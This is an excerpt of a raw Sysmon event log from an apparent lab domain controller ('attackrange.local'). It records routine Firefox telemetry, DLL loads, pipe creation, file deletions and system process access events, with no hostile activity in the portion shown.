10341000x800000000000000056853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 734700x800000000000000056852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Program Files\Mozilla Firefox\pingsender.exe92.0-FirefoxMozilla Foundationpingsender.exeMD5=8A5233CE7A88489D05FEF9BB7AE52572,SHA256=0888DF51AA62CAF8E02C97564FF4BDCEDCF8CC0B6091753F7D9D4389689BA825,IMPHASH=AF27FA7223A9B6FE80447A0E6715E632trueMozilla CorporationValid 734700x800000000000000056851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe10.0.14393.0 (rs1_release.160715-1616)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=D752C96401E2540A443C599154FC6FA9,SHA256=046F7A1B4DE67562547ED9A180A72F481FC41E803DE49A96D7D7C731964D53A0,IMPHASH=2C980A4DA7C717CC670CB9E1D2C4D733trueMicrosoft WindowsValid 734700x800000000000000056847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\edputil.dll10.0.14393.2608 (rs1_release.181024-1742)EDP utilMicrosoft® Windows® Operating SystemMicrosoft CorporationEDPUTIL.DLLMD5=75AC86B00CE4C64B02B105A55CA35628,SHA256=DB31A2345E3BB8DC79BFB4CC29615E3B8B7638AE80BFEC45FA57852669A592AE,IMPHASH=52045AC79DBE663F06AB7C9717524D40trueMicrosoft WindowsValid 734700x800000000000000056844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000056843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Mozilla Firefox\xul.dll+2011fdf|C:\Program Files\Mozilla Firefox\xul.dll+2011df5|C:\Program Files\Mozilla Firefox\xul.dll+2011e41|C:\Program Files\Mozilla Firefox\xul.dll+1eed842|C:\Program Files\Mozilla Firefox\xul.dll+19f1947|C:\Program Files\Mozilla Firefox\xul.dll+19f30a0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+14a9f5|C:\Program Files\Mozilla Firefox\xul.dll+14c453e|UNKNOWN(00000272BD6E4A10) 154100x800000000000000056837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.828{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exe92.0-FirefoxMozilla Foundationpingsender.exe"C:\Program Files\Mozilla Firefox\pingsender.exe" https://incoming.telemetry.mozilla.org/submit/telemetry/83302ede-86eb-4690-8cc6-e26a0d969ff7/event/Firefox/92.0/release/20210903235534?v=4 C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\saved-telemetry-pings\83302ede-86eb-4690-8cc6-e26a0d969ff7 https://incoming.telemetry.mozilla.org/submit/telemetry/5451b84d-4bdd-444f-91e4-513d09a1a700/main/Firefox/92.0/release/20210903235534?v=4 C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\saved-telemetry-pings\5451b84d-4bdd-444f-91e4-513d09a1a700C:\Program Files\Mozilla Firefox\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082MediumMD5=8A5233CE7A88489D05FEF9BB7AE52572,SHA256=0888DF51AA62CAF8E02C97564FF4BDCEDCF8CC0B6091753F7D9D4389689BA825,IMPHASH=AF27FA7223A9B6FE80447A0E6715E632{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" 23542300x800000000000000056836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.822{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\aborted-session-pingMD5=CDDD46D681F1009AA6ADBCB9C541C668,SHA256=E7FC397A2771C4E82087E393C3F863C64FE406C04D119715831E6F31D7CE1568,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.769{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage.sqlite-journalMD5=A5FCB03F1A1C9CA4BDAA2B6C4EEB9DE3,SHA256=CB121B837122C24BE788C6764F1933AC05C30282020A2B10F4AAACD2A13919AA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.769{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\xulstore.jsonMD5=AB6902A3783065D338FBB186862EC765,SHA256=7A32E5AE9B001F9C3704A35965E9A192F8625491E4F35CE21AFDA7F57642A2A6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.754{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\cookies.sqlite-walMD5=17EF1A9042CAB96655B17E700048C34A,SHA256=66C00466ECCCE1224E613283EF5048D70AEF48310D82DDBA86049CB731D7B75E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.754{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\cookies.sqlite-shmMD5=4698AC0E01C37D7FD2637BA88414E666,SHA256=48E1CA315B1CABC4B1E2F62B32E66CC9F235FE62540DF619D821C33DF7153B19,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.754{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\favicons.sqlite-walMD5=A143CB03C71602EA78F8F1163CF11021,SHA256=FAE61F0AFC8FBD94AD477556936123D6CF010B396AB818C4CD47C8C89DD275A3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.754{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\favicons.sqlite-shmMD5=316D1CE16AC6E71A9DF738FF09B82FCA,SHA256=5D2A06219EBB25DE19A3667BE78CCB0DB4FDE4AB7C81C8997CFA5DCBBFBB5875,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.738{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\places.sqlite-walMD5=6B76721447DF63794BE77400FD60332C,SHA256=DC5E9ED6C96B1019DD0BB508D3DEF0D6E4DA802EE828384E421ABFB220E26B6B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.707{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\places.sqlite-shmMD5=BD2F785C9D32600C9C8B92E98F2D5F85,SHA256=7151AC5FD69E1DCF354A5CA16EFA0AB4520B839E40191C35AB52C193442572ED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 17141700x800000000000000056827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 15:09:03.691{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.12.197554708C:\Program Files\Mozilla Firefox\firefox.exe 17141700x800000000000000056826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 15:09:03.691{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.11.40281145C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000056825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.691{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e485b9|C:\Program Files\Mozilla Firefox\xul.dll+e3f25c|C:\Program Files\Mozilla Firefox\xul.dll+1eed842|C:\Program Files\Mozilla Firefox\xul.dll+19f1947|C:\Program Files\Mozilla Firefox\xul.dll+19f30a0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+13b3ea|C:\Program Files\Mozilla Firefox\xul.dll+1272353|C:\Program Files\Mozilla Firefox\xul.dll+1b6754f|C:\Program Files\Mozilla Firefox\xul.dll+1b5e39d|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000056824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.690{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e485b9|C:\Program Files\Mozilla Firefox\xul.dll+e3f25c|C:\Program Files\Mozilla Firefox\xul.dll+1eed842|C:\Program Files\Mozilla Firefox\xul.dll+19f1947|C:\Program Files\Mozilla Firefox\xul.dll+19f30a0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+13b3ea|C:\Program Files\Mozilla Firefox\xul.dll+1272353|C:\Program Files\Mozilla Firefox\xul.dll+1b6754f|C:\Program Files\Mozilla Firefox\xul.dll+1b5e39d|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 23542300x800000000000000056823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.690{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\webappsstore.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.690{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000056821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.670{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+1a375|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 17141700x800000000000000056820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 15:09:03.670{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.10.146571078C:\Program Files\Mozilla Firefox\firefox.exe 17141700x800000000000000056819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 15:09:03.654{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.9.121873273C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000056818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.638{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000056817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.638{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000056816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.638{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000056815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.638{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000056814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 